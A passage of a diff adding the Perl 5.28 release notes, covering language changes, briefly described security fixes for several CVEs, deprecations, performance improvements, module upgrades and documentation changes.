+operators must still be enabled via the "bitwise" feature, in either of
+these two ways:
+
+ use feature "bitwise";
+
+ use v5.28; # "bitwise" now included
+
+They are also now enabled by the B<-E> command-line switch.
+
+The "bitwise" feature no longer emits a warning. Existing code that
+disables the "experimental::bitwise" warning category that the feature
+previously used will continue to work.
+
+One caveat that module authors ought to be aware of is that the numeric
+operators now pass a fifth TRUE argument to overload methods. Any methods
+that check the number of operands may croak if they do not expect so many.
+XS authors in particular should be aware that this:
+
+ SV *
+ bitop_handler (lobj, robj, swap)
+
+may need to be changed to this:
+
+ SV *
+ bitop_handler (lobj, robj, swap, ...)
+
+=head2 Locales are now thread-safe on systems that support them
+
+These systems include Windows starting with Visual Studio 2005, and in
+POSIX 2008 systems.
+
+The implication is that you are now free to use locales and change them
+in a threaded environment. Your changes affect only your thread.
+See L<perllocale/Multi-threaded operation>
+
+=head2 New read-only predefined variable C<${^SAFE_LOCALES}>
+
+This variable is 1 if the Perl interpreter is operating in an
+environment where it is safe to use and change locales (see
+L<perllocale>.) This variable is true when the perl is
+unthreaded, or compiled in a platform that supports thread-safe locale
+operation (see previous item).
+
+=head1 Security
+
+=head2 [CVE-2017-12837] Heap buffer overflow in regular expression compiler
+
+Compiling certain regular expression patterns with the case-insensitive
+modifier could cause a heap buffer overflow and crash perl. This has now been
+fixed.
+L<[perl #131582]|https://rt.perl.org/Public/Bug/Display.html?id=131582>
+
+=head2 [CVE-2017-12883] Buffer over-read in regular expression parser
+
+For certain types of syntax error in a regular expression pattern, the error
+message could either contain the contents of a random, possibly large, chunk of
+memory, or could crash perl. This has now been fixed.
+L<[perl #131598]|https://rt.perl.org/Public/Bug/Display.html?id=131598>
+
+=head2 [CVE-2017-12814] C<$ENV{$key}> stack buffer overflow on Windows
+
+A possible stack buffer overflow in the C<%ENV> code on Windows has been fixed
+by removing the buffer completely since it was superfluous anyway.
+L<[perl #131665]|https://rt.perl.org/Public/Bug/Display.html?id=131665>
+
+=head2 Default Hash Function Change
+
+Perl 5.28.0 retires various older hash functions which are not viewed as
+sufficiently secure for use in Perl. We now support four general purpose
+hash functions, Siphash (2-4 and 1-3 variants), and Zaphod32, and StadtX
+hash. In addition we support SBOX32 (a form of tabular hashing) for hashing
+short strings, in conjunction with any of the other hash functions provided.
+
+By default Perl is configured to support SBOX hashing of strings up to 24
+characters, in conjunction with StadtX hashing on 64 bit builds, and
+Zaphod32 hashing for 32 bit builds.
+
+You may control these settings with the following options to Configure:
+
+ -DPERL_HASH_FUNC_SIPHASH
+ -DPERL_HASH_FUNC_SIPHASH13
+ -DPERL_HASH_FUNC_STADTX
+ -DPERL_HASH_FUNC_ZAPHOD32
+
+To disable SBOX hashing you can use
+
+ -DPERL_HASH_USE_SBOX32_ALSO=0
+
+And to set the maximum length to use SBOX32 hashing on with:
+
+ -DSBOX32_MAX_LEN=16
+
+The maximum length allowed is 256. There probably isn't much point
+in setting it higher than the default.
+
+=head1 Incompatible Changes
+
+=head2 Subroutine attribute and signature order
+
+The experimental subroutine signatures feature has been changed so that
+subroutine attributes must now come before the signature rather than
+after. This is because attributes like C<:lvalue> can affect the
+compilation of code within the signature, for example:
+
+ sub f :lvalue ($a = do { $x = "abc"; return substr($x,0,1)}) { ...}
+
+Note that this the second time they have been flipped:
+
+ sub f :lvalue ($a, $b) { ... }; # 5.20; 5.28 onwards
+ sub f ($a, $b) :lvalue { ... }; # 5.22 - 5.26
+
+=head2 Comma-less variable lists in formats are no longer allowed
+
+Omitting the commas between variables passed to formats is no longer
+allowed. This has been deprecated since Perl 5.000.
+
+=head2 The C<:locked> and C<:unique> attributes have been removed
+
+These have been no-ops and deprecated since Perl 5.12 and 5.10,
+respectively.
+
+=head2 C<\N{}> with nothing between the braces is now illegal
+
+This has been deprecated since Perl 5.24.
+
+=head2 Opening the same symbol as both a file and directory handle is no longer allowed
+
+Using C<open()> and C<opendir()> to associate both a filehandle and a dirhandle
+to the same symbol (glob or scalar) has been deprecated since Perl 5.10.
+
+=head2 Use of bare C<< << >> to mean C<< <<"" >> is no longer allowed
+
+Use of a bare terminator has been deprecated since Perl 5.000.
+
+=head2 Setting $/ to a reference to a non-positive integer no longer allowed
+
+This used to work like setting it to C<undef>, but has been deprecated
+since Perl 5.20.
+
+=head2 Unicode code points with values exceeding C<IV_MAX> are now fatal
+
+This was deprecated since Perl 5.24.
+
+=head2 The C<B::OP::terse> method has been removed
+
+Use C<B::Concise::b_terse> instead.
+
+=head2 Use of inherited AUTOLOAD for non-methods is no longer allowed
+
+This was deprecated in Perl 5.004.
+
+=head2 Use of strings with code points over 0xFF is not allowed for bitwise string operators
+
+Code points over C<0xFF> do not make sense for bitwise operators and such
+an operation will now croak, except for a few remaining cases. See
+L<perldeprecation>.
+
+This was deprecated in Perl 5.24.
+
+=head2 Setting C<${^ENCODING}> to a defined value is now illegal
+
+This has been deprecated since Perl 5.22 and a no-op since Perl 5.26.
+
+=head2 Backslash no longer escapes colon in PATH for the C<-S> switch
+
+Previously the C<-S> switch incorrectly treated backslash ("\") as an
+escape for colon when traversing the C<PATH> environment variable.
+L<[perl #129183]|https://rt.perl.org/Ticket/Display.html?id=129183>
+
+=head2 the -DH (DEBUG_H) misfeature has been removed
+
+On a perl built with debugging support, the C<H> flag to the C<-D>
+debugging option has been removed. This was supposed to dump hash values,
+but has been broken for many years.
+
+=head2 Yada-yada is now strictly a statement
+
+By the time of its initial stable release in Perl 5.12, the C<...>
+(yada-yada) operator was explicitly intended to serve as a statement,
+not an expression. However, the original implementation was confused
+on this point, leading to inconsistent parsing. The operator was
+accidentally accepted in a few situations where it did not serve as a
+complete statement, such as
+
+ ... . "foo";
+ ... if $a < $b;
+
+The parsing has now been made consistent, permitting yada-yada only as
+a statement. Affected code can use C<do{...}> to put a yada-yada into
+an arbitrary expression context.
+
+=head2 Sort algorithm can no longer be specified
+
+Since Perl 5.8, the L<sort> pragma has had subpragmata C<_mergesort>,
+C<_quicksort>, and C<_qsort> that can be used to specify which algorithm
+perl should use to implement the L<sort|perlfunc/sort> builtin.
+This was always considered a dubious feature that might not last,
+hence the underscore spellings, and they were documented as not being
+portable beyond Perl 5.8. These subpragmata have now been deleted,
+and any attempt to use them is an error. The L<sort> pragma otherwise
+remains, and the algorithm-neutral C<stable> subpragma can be used to
+control sorting behaviour.
+L<[perl #119635]|https://rt.perl.org/Ticket/Display.html?id=119635>
+
+=head2 Over-radix digits in floating point literals
+
+Octal and binary floating point literals used to permit any hexadecimal
+digit to appear after the radix point. The digits are now restricted
+to those appropriate for the radix, as digits before the radix point
+always were.
+
+=head2 Return type of C<unpackstring()>
+
+The return types of the C API functions C<unpackstring()> and
+C<unpack_str()> have changed from C<I32> to C<SSize_t>, in order to
+accommodate datasets of more than two billion items.
+
+=head1 Deprecations
+
+=head2 Use of L<C<vec>|perlfunc/vec EXPR,OFFSET,BITS> on strings with code points above 0xFF is deprecated
+
+Such strings are represented internally in UTF-8, and C<vec> is a
+bit-oriented operation that will likely give unexpected results on those
+strings.
+
+=head2 Some uses of unescaped C<"{"> in regexes are no longer fatal
+
+Perl 5.26.0 fatalized some uses of an unescaped left brace, but an
+exception was made at the last minute, specifically crafted to be a
+minimal change to allow GNU Autoconf to work. That tool is heavily
+depended upon, and continues to use the deprecated usage. Its use of an
+unescaped left brace is one where we have no intention of repurposing
+C<"{"> to be something other than itself.
+
+That exception is now generalized to include various other such cases
+where the C<"{"> will not be repurposed.
+
+Note that these uses continue to raise a deprecation message.
+
+=head2 Use of unescaped C<"{"> immediately after a C<"("> in regular expression patterns is deprecated
+
+Using unescaped left braces is officially deprecated everywhere, but it
+is not enforced in contexts where their use does not interfere with
+expected extensions to the language. A deprecation is added in this
+release when the brace appears immediately after an opening parenthesis.
+Before this, even if the brace was part of a legal quantifier, it was
+not interpreted as such, but as the literal characters, unlike other
+quantifiers that follow a C<"("> which are considered errors. Now,
+their use will raise a deprecation message, unless turned off.
+
+=head2 Assignment to C<$[> will be fatal in Perl 5.30
+
+Assigning a non-zero value to L<C<$[>|perlvar/$[> has been deprecated
+since Perl 5.12, but was never given a deadline for removal. This has
+now been scheduled for Perl 5.30.
+
+=head2 hostname() won't accept arguments in Perl 5.32
+
+Passing arguments to C<Sys::Hostname::hostname()> was already deprecated,
+but didn't have a removal date. This has now been scheduled for Perl
+5.32. L<[perl #124349]|https://rt.perl.org/Ticket/Display.html?id=124349>
+
+=head2 Module removals
+
+The following modules will be removed from the core distribution in a
+future release, and will at that time need to be installed from CPAN.
+Distributions on CPAN which require these modules will need to list them as
+prerequisites.
+
+The core versions of these modules will now issue C<"deprecated">-category
+warnings to alert you to this fact. To silence these deprecation warnings,
+install the modules in question from CPAN.
+
+Note that these are (with rare exceptions) fine modules that you are encouraged
+to continue to use. Their disinclusion from core primarily hinges on their
+necessity to bootstrapping a fully functional, CPAN-capable Perl installation,
+not usually on concerns over their design.
+
+=over
+
+=item B::Debug
+
+=item L<Locale::Codes> and its associated Country, Currency and Language modules
+
+=back
+
+=head1 Performance Enhancements
+
+=over 4
+
+=item *
+
+The start up overhead for creating regular expression patterns with
+Unicode properties (C<\p{...}>) has been greatly reduced in most cases.
+
+=item *
+
+Many string concatenation expressions are now considerably faster, due
+to the introduction internally of a C<multiconcat> opcode which combines
+multiple concatenations, and optionally a C<=> or C<.=>, into a single
+action. For example, apart from retrieving C<$s>, C<$a> and C<$b>, this
+whole expression is now handled as a single op:
+
+ $s .= "a=$a b=$b\n"
+
+As a special case, if the LHS of an assignment is a lexical variable or
+C<my $s>, the op itself handles retrieving the lexical variable, which
+is faster.
+
+In general, the more the expression includes a mix of constant strings and
+variable expressions, the longer the expression, and the more it mixes
+together non-utf8 and utf8 strings, the more marked the performance
+improvement. For example on a C<x86_64> system, this code has been
+benchmarked running four times faster:
+
+ my $s;
+ my $a = "ab\x{100}cde";
+ my $b = "fghij";
+ my $c = "\x{101}klmn";
+
+ for my $i (1..10_000_000) {
+ $s = "\x{100}wxyz";
+ $s .= "foo=$a bar=$b baz=$c";
+ }
+
+In addition, C<sprintf> expressions which have a constant format
+containing only C<%s> and C<%%> format elements, and which have a fixed
+number of arguments, are now also optimised into a C<multiconcat> op.
+
+=item *
+
+The C<ref()> builtin is now much faster in boolean context, since it no
+longer bothers to construct a temporary string like C<Foo=ARRAY(0x134af48)>.
+
+=item *
+
+C<keys()> in void and scalar contexts is now more efficient.
+
+=item *
+
+The common idiom of comparing the result of index() with -1 is now
+specifically optimised, e.g.
+
+ if (index(...) != -1) { ... }
+
+=item *
+
+C<for()> loops and similar constructs are now more efficient in most cases.
+
+=item *
+
+L<File::Glob> has been modified to remove unnecessary backtracking and
+recursion, thanks to Russ Cox. See L<https://research.swtch.com/glob>
+for more details.
+
+=item *
+
+The XS-level C<SvTRUE()> API function is now more efficient.
+
+=item *
+
+Various integer-returning ops are now more efficient in scalar/boolean context.
+
+=item *
+
+Slightly improved performance when parsing stash names.
+L<[perl #129990]|https://rt.perl.org/Public/Bug/Display.html?id=129990>
+
+=item *
+
+Calls to C<require> for an already loaded module are now slightly faster.
+L<[perl #132171]|https://rt.perl.org/Public/Bug/Display.html?id=132171>
+
+=item *
+
+The performance of pattern matching C<[[:ascii:]]> and C<[[:^ascii:]]>
+has been improved significantly except on EBCDIC platforms.
+
+=item *
+
+Various optimizations have been applied to matching regular expression
+patterns, so under the right circumstances, significant performance
+gains may be noticed. But in an application with many varied patterns,
+little overall improvement likely will be seen.
+
+=item *
+
+Other optimizations have been applied to UTF-8 handling, but these are
+not typically a major factor in most applications.
+
+=back
+
+=head1 Modules and Pragmata
+
+Key highlights in this release across several modules:
+
+=head2 Removal of use vars
+
+The usage of C<use vars> has been discouraged since the introduction of
+C<our> in Perl 5.6.0. Where possible the usage of this pragma has now been
+removed from the Perl source code.
+
+This had a slight effect (for the better) on the output of WARNING_BITS in
+L<B::Deparse>.
+
+=head2 Use of DynaLoader changed to XSLoader in many modules
+
+XSLoader is more modern, and most modules already require perl 5.6 or
+greater, so no functionality is lost by switching. In some cases, we have
+also made changes to the local implementation that may not be reflected in
+the version on CPAN due to a desire to maintain more backwards
+compatibility.
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<Archive::Tar> has been upgraded from version 2.24 to 2.30.
+
+This update also handled CVE-2018-12015: directory traversal
+vulnerability.
+L<[cpan #125523]|https://rt.cpan.org/Ticket/Display.html?id=125523>
+
+=item *
+
+L<arybase> has been upgraded from version 0.12 to 0.15.
+
+=item *
+
+L<Attribute::Handlers> has been upgraded from version 0.99 to 1.01.
+
+=item *
+
+L<attributes> has been upgraded from version 0.29 to 0.33.
+
+=item *
+
+L<B> has been upgraded from version 1.68 to 1.74.
+
+=item *
+
+L<B::Concise> has been upgraded from version 0.999 to 1.003.
+
+=item *
+
+L<B::Debug> has been upgraded from version 1.24 to 1.26.
+
+NOTE: L<B::Debug> is deprecated and may be removed from a future version
+of Perl.
+
+=item *
+
+L<B::Deparse> has been upgraded from version 1.40 to 1.48.
+
+It includes many bug fixes, and in particular, it now deparses variable
+attributes correctly:
+
+ my $x :foo; # used to deparse as
+ # 'attributes'->import('main', \$x, 'foo'), my $x;
+
+=item *
+
+L<base> has been upgraded from version 2.25 to 2.27.
+
+=item *
+
+L<bignum> has been upgraded from version 0.47 to 0.49.
+
+=item *
+
+L<blib> has been upgraded from version 1.06 to 1.07.
+
+=item *
+
+L<bytes> has been upgraded from version 1.05 to 1.06.
+
+=item *
+
+L<Carp> has been upgraded from version 1.42 to 1.50.
+
+If a package on the call stack contains a constant named C<ISA>, Carp no
+longer throws a "Not a GLOB reference" error.
+
+L<Carp>, when generating stack traces, now attempts to work around
+longstanding bugs resulting from Perl's non-reference-counted stack.
+L<[perl #52610]|https://rt.perl.org/Ticket/Display.html?id=52610>
+
+Carp has been modified to avoid assuming that objects cannot be
+overloaded without the L<overload> module loaded (this can happen with
+objects created by XS modules). Previously, infinite recursion would
+result if an XS-defined overload method itself called Carp.
+L<[perl #132828]|https://rt.perl.org/Ticket/Display.html?id=132828>
+
+Carp now avoids using C<overload::StrVal>, partly because older versions
+of L<overload> (included with perl 5.14 and earlier) load L<Scalar::Util>
+at run time, which will fail if Carp has been invoked after a syntax error.
+
+=item *
+
+L<charnames> has been upgraded from version 1.44 to 1.45.
+
+=item *
+
+L<Compress::Raw::Zlib> has been upgraded from version 2.074 to 2.076.
+
+This addresses a security vulnerability in older versions of the 'zlib' library
+(which is bundled with Compress-Raw-Zlib).
+
+=item *
+
+L<Config::Extensions> has been upgraded from version 0.01 to 0.02.
+
+=item *
+
+L<Config::Perl::V> has been upgraded from version 0.28 to 0.29.
+
+=item *
+
+L<CPAN> has been upgraded from version 2.18 to 2.20.
+
+=item *
+
+L<Data::Dumper> has been upgraded from version 2.167 to 2.170.
+
+Quoting of glob names now obeys the Useqq option
+L<[perl #119831]|https://rt.perl.org/Ticket/Display.html?id=119831>.
+
+Attempts to set an option to C<undef> through a combined getter/setter
+method are no longer mistaken for getter calls
+L<[perl #113090]|https://rt.perl.org/Ticket/Display.html?id=113090>.
+
+=item *
+
+L<Devel::Peek> has been upgraded from version 1.26 to 1.27.
+
+=item *
+
+L<Devel::PPPort> has been upgraded from version 3.35 to 3.40.
+
+L<Devel::PPPort> has moved from cpan-first to perl-first maintenance
+
+Primary responsibility for the code in Devel::PPPort has moved into core perl.
+In a practical sense there should be no change except that hopefully it will
+stay more up to date with changes made to symbols in perl, rather than needing
+to be updated after the fact.
+
+=item *
+
+L<Digest::SHA> has been upgraded from version 5.96 to 6.01.
+
+=item *
+
+L<DirHandle> has been upgraded from version 1.04 to 1.05.
+
+=item *
+
+L<DynaLoader> has been upgraded from version 1.42 to 1.45.
+
+Its documentation now shows the use of C<__PACKAGE__> and direct object
+syntax
+L<[perl #132247]|https://rt.perl.org/Ticket/Display.html?id=132247>.
+
+=item *
+
+L<Encode> has been upgraded from version 2.88 to 2.97.
+
+=item *
+
+L<encoding> has been upgraded from version 2.19 to 2.22.
+
+=item *
+
+L<Errno> has been upgraded from version 1.28 to 1.29.
+
+=item *
+
+L<experimental> has been upgraded from version 0.016 to 0.019.
+
+=item *
+
+L<Exporter> has been upgraded from version 5.72 to 5.73.
+
+=item *
+
+L<ExtUtils::CBuilder> has been upgraded from version 0.280225 to 0.280230.
+
+=item *
+
+L<ExtUtils::Constant> has been upgraded from version 0.23 to 0.25.
+
+=item *
+
+L<ExtUtils::Embed> has been upgraded from version 1.34 to 1.35.
+
+=item *
+
+L<ExtUtils::Install> has been upgraded from version 2.04 to 2.14.
+
+=item *
+
+L<ExtUtils::MakeMaker> has been upgraded from version 7.24 to 7.34.
+
+=item *
+
+L<ExtUtils::Miniperl> has been upgraded from version 1.06 to 1.08.
+
+=item *
+
+L<ExtUtils::ParseXS> has been upgraded from version 3.34 to 3.39.
+
+=item *
+
+L<ExtUtils::Typemaps> has been upgraded from version 3.34 to 3.38.
+
+=item *
+
+L<ExtUtils::XSSymSet> has been upgraded from version 1.3 to 1.4.
+
+=item *
+
+L<feature> has been upgraded from version 1.47 to 1.52.
+
+=item *
+
+L<fields> has been upgraded from version 2.23 to 2.24.
+
+=item *
+
+L<File::Copy> has been upgraded from version 2.32 to 2.33.
+
+It will now use the sub-second precision variant of utime() supplied by
+L<Time::HiRes> where available.
+L<[perl #132401]|https://rt.perl.org/Ticket/Display.html?id=132401>.
+
+=item *
+
+L<File::Fetch> has been upgraded from version 0.52 to 0.56.
+
+=item *
+
+L<File::Glob> has been upgraded from version 1.28 to 1.31.
+
+=item *
+
+L<File::Path> has been upgraded from version 2.12_01 to 2.15.
+
+=item *
+
+L<File::Spec> and L<Cwd> have been upgraded from version 3.67 to 3.74.
+
+=item *
+
+L<File::stat> has been upgraded from version 1.07 to 1.08.
+
+=item *
+
+L<FileCache> has been upgraded from version 1.09 to 1.10.
+
+=item *
+
+L<Filter::Simple> has been upgraded from version 0.93 to 0.95.
+
+=item *
+
+L<Filter::Util::Call> has been upgraded from version 1.55 to 1.58.
+
+=item *
+
+L<GDBM_File> has been upgraded from version 1.15 to 1.17.
+
+Its documentation now explains that C<each> and C<delete> don't mix in
+hashes tied to this module
+L<[perl #117449]|https://rt.perl.org/Ticket/Display.html?id=117449>.
+
+It will now retry opening with an acceptable block size if asking gdbm
+to default the block size failed
+L<[perl #119623]|https://rt.perl.org/Ticket/Display.html?id=119623>.
+
+=item *
+
+L<Getopt::Long> has been upgraded from version 2.49 to 2.5.
+
+=item *
+
+L<Hash::Util::FieldHash> has been upgraded from version 1.19 to 1.20.
+
+=item *
+
+L<I18N::Langinfo> has been upgraded from version 0.13 to 0.17.
+
+This module is now available on all platforms, emulating the system
+L<nl_langinfo(3)> on systems that lack it. Some caveats apply, as
+L<detailed in its documentation|I18N::Langinfo>, the most severe being
+that, except for MS Windows, the C<CODESET> item is not implemented on
+those systems, always returning C<"">.
+
+It now sets the UTF-8 flag in its returned scalar if the string contains
+legal non-ASCII UTF-8, and the locale is UTF-8
+L<[perl #127288]|https://rt.perl.org/Ticket/Display.html?id=127288>.
+
+This update also fixes a bug in which the underlying locale was ignored
+for the C<RADIXCHAR> (always was returned as a dot) and the C<THOUSEP>
+(always empty). Now the locale-appropriate values are returned.
+
+=item *
+
+L<I18N::LangTags> has been upgraded from version 0.42 to 0.43.
+
+=item *
+
+L<if> has been upgraded from version 0.0606 to 0.0608.
+
+=item *
+
+L<IO> has been upgraded from version 1.38 to 1.39.
+
+=item *
+
+L<IO::Socket::IP> has been upgraded from version 0.38 to 0.39.
+
+=item *
+
+L<IPC::Cmd> has been upgraded from version 0.96 to 1.00.
+
+=item *
+
+L<JSON::PP> has been upgraded from version 2.27400_02 to 2.97001.
+
+=item *
+
+The C<libnet> distribution has been upgraded from version 3.10 to 3.11.
+
+=item *
+
+L<List::Util> has been upgraded from version 1.46_02 to 1.49.
+
+=item *
+
+L<Locale::Codes> has been upgraded from version 3.42 to 3.56.
+
+B<NOTE>: L<Locale::Codes> scheduled to be removed from core in Perl 5.30.
+
+=item *
+
+L<Locale::Maketext> has been upgraded from version 1.28 to 1.29.
+
+=item *
+
+L<Math::BigInt> has been upgraded from version 1.999806 to 1.999811.
+
+=item *
+
+L<Math::BigInt::FastCalc> has been upgraded from version 0.5005 to 0.5006.
+
+=item *
+
+L<Math::BigRat> has been upgraded from version 0.2611 to 0.2613.
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170530 to 5.20180622.
+
+=item *
+
+L<mro> has been upgraded from version 1.20 to 1.22.
+
+=item *
+
+L<Net::Ping> has been upgraded from version 2.55 to 2.62.
+
+=item *
+
+L<NEXT> has been upgraded from version 0.67 to 0.67_01.
+
+=item *
+
+L<ODBM_File> has been upgraded from version 1.14 to 1.15.
+
+=item *
+
+L<Opcode> has been upgraded from version 1.39 to 1.43.
+
+=item *
+
+L<overload> has been upgraded from version 1.28 to 1.30.
+
+=item *
+
+L<PerlIO::encoding> has been upgraded from version 0.25 to 0.26.
+
+=item *
+
+L<PerlIO::scalar> has been upgraded from version 0.26 to 0.29.
+
+=item *
+
+L<PerlIO::via> has been upgraded from version 0.16 to 0.17.
+
+=item *
+
+L<Pod::Functions> has been upgraded from version 1.11 to 1.13.
+
+=item *
+
+L<Pod::Html> has been upgraded from version 1.2202 to 1.24.
+
+A title for the HTML document will now be automatically generated by
+default from a "NAME" section in the POD document, as it used to be
+before the module was rewritten to use L<Pod::Simple::XHTML> to do the
+core of its job
+L<[perl #110520]|https://rt.perl.org/Ticket/Display.html?id=110520>.
+
+=item *
+
+L<Pod::Perldoc> has been upgraded from version 3.28 to 3.2801.
+
+=item *
+
+The C<podlators> distribution has been upgraded from version 4.09 to 4.10.
+
+Man page references and function names now follow the Linux man page
+formatting standards, instead of the Solaris standard.
+
+=item *
+
+L<POSIX> has been upgraded from version 1.76 to 1.84.
+
+Some more cautions were added about using locale-specific functions in
+threaded applications.
+
+=item *
+
+L<re> has been upgraded from version 0.34 to 0.36.
+
+=item *
+
+L<Scalar::Util> has been upgraded from version 1.46_02 to 1.50.
+
+=item *
+
+L<SelfLoader> has been upgraded from version 1.23 to 1.25.
+
+=item *
+
+L<Socket> has been upgraded from version 2.020_03 to 2.027.
+
+=item *
+
+L<sort> has been upgraded from version 2.02 to 2.04.
+
+=item *
+
+L<Storable> has been upgraded from version 2.62 to 3.08.
+
+=item *
+
+L<Sub::Util> has been upgraded from version 1.48 to 1.49.
+
+=item *
+
+L<subs> has been upgraded from version 1.02 to 1.03.
+
+=item *
+
+L<Sys::Hostname> has been upgraded from version 1.20 to 1.22.
+
+=item *
+
+L<Term::ReadLine> has been upgraded from version 1.16 to 1.17.
+
+=item *
+
+L<Test> has been upgraded from version 1.30 to 1.31.
+
+=item *
+
+L<Test::Harness> has been upgraded from version 3.38 to 3.42.
+
+=item *
+
+L<Test::Simple> has been upgraded from version 1.302073 to 1.302133.
+
+=item *
+
+L<threads> has been upgraded from version 2.15 to 2.22.
+
+The documentation now better describes the problems that arise when
+returning values from threads, and no longer warns about creating threads
+in C<BEGIN> blocks.
+L<[perl #96538]|https://rt.perl.org/Ticket/Display.html?id=96538>
+
+=item *
+
+L<threads::shared> has been upgraded from version 1.56 to 1.58.
+
+=item *
+
+L<Tie::Array> has been upgraded from version 1.06 to 1.07.
+
+=item *
+
+L<Tie::StdHandle> has been upgraded from version 4.4 to 4.5.
+
+=item *
+
+L<Time::gmtime> has been upgraded from version 1.03 to 1.04.
+
+=item *
+
+L<Time::HiRes> has been upgraded from version 1.9741 to 1.9759.
+
+=item *
+
+L<Time::localtime> has been upgraded from version 1.02 to 1.03.
+
+=item *
+
+L<Time::Piece> has been upgraded from version 1.31 to 1.3204.
+
+=item *
+
+L<Unicode::Collate> has been upgraded from version 1.19 to 1.25.
+
+=item *
+
+L<Unicode::Normalize> has been upgraded from version 1.25 to 1.26.
+
+=item *
+
+L<Unicode::UCD> has been upgraded from version 0.68 to 0.70.
+
+The function C<num> now accepts an optional parameter to help in
+diagnosing error returns.
+
+=item *
+
+L<User::grent> has been upgraded from version 1.01 to 1.02.
+
+=item *
+
+L<User::pwent> has been upgraded from version 1.00 to 1.01.
+
+=item *
+
+L<utf8> has been upgraded from version 1.19 to 1.21.
+
+=item *
+
+L<vars> has been upgraded from version 1.03 to 1.04.
+
+=item *
+
+L<version> has been upgraded from version 0.9917 to 0.9923.
+
+=item *
+
+L<VMS::DCLsym> has been upgraded from version 1.08 to 1.09.
+
+=item *
+
+L<VMS::Stdio> has been upgraded from version 2.41 to 2.44.
+
+=item *
+
+L<warnings> has been upgraded from version 1.37 to 1.42.
+
+It now includes new functions with names ending in C<_at_level>, allowing
+callers to specify the exact call frame.
+L<[perl #132468]|https://rt.perl.org/Ticket/Display.html?id=132468>
+
+=item *
+
+L<XS::Typemap> has been upgraded from version 0.15 to 0.16.
+
+=item *
+
+L<XSLoader> has been upgraded from version 0.27 to 0.30.
+
+Its documentation now shows the use of C<__PACKAGE__>, and direct object
+syntax for example C<DynaLoader> usage
+L<[perl #132247]|https://rt.perl.org/Ticket/Display.html?id=132247>.
+
+Platforms that use C<mod2fname> to edit the names of loadable
+libraries now look for bootstrap (.bs) files under the correct,
+non-edited name.
+
+=back
+
+=head2 Removed Modules and Pragmata
+
+=over 4
+
+=item *
+
+The C<VMS::stdio> compatibility shim has been removed.
+
+=back
+
+=head1 Documentation
+
+=head2 Changes to Existing Documentation
+
+We have attempted to update the documentation to reflect the changes
+listed in this document. If you find any we have missed, send email
+to L<perlbug@perl.org|mailto:perlbug@perl.org>.
+
+Additionally, the following selected changes have been made:
+
+=head3 L<perlapi>
+
+=over 4
+
+=item *
+
+The API functions C<perl_parse()>, C<perl_run()>, and C<perl_destruct()>
+are now documented comprehensively, where previously the only
+documentation was a reference to the L<perlembed> tutorial.
+
+=item *
+
+The documentation of C<newGIVENOP()> has been belatedly updated to
+account for the removal of lexical C<$_>.
+
+=item *
+
+The API functions C<newCONSTSUB()> and C<newCONSTSUB_flags()> are
+documented much more comprehensively than before.
+
+=back
+
+=head3 L<perldata>
+
+=over 4
+
+=item *
+
+The section "Truth and Falsehood" in L<perlsyn> has been moved into
+L<perldata>.
+
+=back
+
+=head3 L<perldebguts>
+
+=over 4
+
+=item *
+
+The description of the conditions under which C<DB::sub()> will be called
+has been clarified.
+L<[perl #131672]|https://rt.perl.org/Ticket/Display.html?id=131672>
+
+=back
+
+=head3 L<perldiag>
+
+=over 4
+
+=item * L<perldiag/Variable length lookbehind not implemented in regex mE<sol>%sE<sol>>
+
+This now gives more ideas as to workarounds to the issue that was
+introduced in Perl 5.18 (but not documented explicitly in its perldelta)
+for the fact that some Unicode C</i> rules cause a few sequences such as
+
+ (?<!st)
+
+to be considered variable length, and hence disallowed.
+
+=item * "Use of state $_ is experimental" in L<perldiag>
+
+This entry has been removed, as the experimental support of this construct was
+removed in perl 5.24.0.
+
+=item *
+
+The diagnostic C<Initialization of state variables in list context
+currently forbidden> has changed to C<Initialization of state variables
+in list currently forbidden>, because list-context initialization of
+single aggregate state variables is now permitted.
+
+=back
+
+=head3 L<perlembed>
+
+=over 4
+
+=item *
+
+The examples in L<perlembed> have been made more portable in the way
+they exit, and the example that gets an exit code from the embedded Perl
+interpreter now gets it from the right place. The examples that pass
+a constructed argv to Perl now show the mandatory null C<argv[argc]>.
+
+=item *
+
+An example in L<perlembed> used the string value of C<ERRSV> as a
+format string when calling croak(). If that string contains format
+codes such as C<%s> this could crash the program.
+
+This has been changed to a call to croak_sv().
+
+An alternative could have been to supply a trivial format string:
+
+ croak("%s", SvPV_nolen(ERRSV));
+
+or as a special case for C<ERRSV> simply:
+
+ croak(NULL);
+
+=back
+
+=head3 L<perlfunc>
+
+=over 4
+
+=item *
+
+There is now a note that warnings generated by built-in functions are
+documented in L<perldiag> and L<warnings>.
+L<[perl #116080]|https://rt.perl.org/Ticket/Display.html?id=116080>
+
+=item *
+
+The documentation for the C<exists> operator no longer says that
+autovivification behaviour "may be fixed in a future release".
+We've determined that we're not going to change the default behaviour.
+L<[perl #127712]|https://rt.perl.org/Ticket/Display.html?id=127712>
+
+=item *
+
+A couple of small details in the documentation for the C<bless> operator
+have been clarified.
+L<[perl #124428]|https://rt.perl.org/Ticket/Display.html?id=124428>
+
+=item *
+
+The description of C<@INC> hooks in the documentation for C<require>
+has been corrected to say that filter subroutines receive a useless
+first argument.
+L<[perl #115754]|https://rt.perl.org/Ticket/Display.html?id=115754>
+
+=item *
+
+The documentation of C<ref> has been rewritten for clarity.
+
+=item *
+
+The documentation of C<use> now explains what syntactically qualifies
+as a version number for its module version checking feature.
+
+=item *
+
+The documentation of C<warn> has been updated to reflect that since Perl
+5.14 it has treated complex exception objects in a manner equivalent
+to C<die>.
+L<[perl #121372]|https://rt.perl.org/Ticket/Display.html?id=121372>
+
+=item *
+
+The documentation of C<die> and C<warn> has been revised for clarity.
+
+=item *
+
+The documentation of C<each> has been improved, with a slightly more
+explicit description of the sharing of iterator state, and with
+caveats regarding the fragility of while-each loops.
+L<[perl #132644]|https://rt.perl.org/Ticket/Display.html?id=132644>
+
+=item *
+
+Clarification to C<require> was added to explain the differences between
+
+ require Foo::Bar;
+ require "Foo/Bar.pm";
+
+=back
+
+=head3 L<perlgit>
+
+=over 4
+
+=item *
+
+The precise rules for identifying C<smoke-me> branches are now stated.
+
+=back
+
+=head3 L<perlguts>
+
+=over 4
+
+=item *
+
+The section on reference counting in L<perlguts> has been heavily revised,
+to describe references in the way a programmer needs to think about them
+rather than in terms of the physical data structures.
+
+=item *
+
+Improve documentation related to UTF-8 multibytes.
+
+=back
+
+=head3 L<perlintern>
+
+=over 4
+
+=item *
+
+The internal functions C<newXS_len_flags()> and C<newATTRSUB_x()> are
+now documented.
+
+=back
+
